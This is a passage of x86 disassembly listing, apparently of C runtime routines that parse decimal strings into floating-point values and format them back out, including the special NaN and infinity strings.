		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

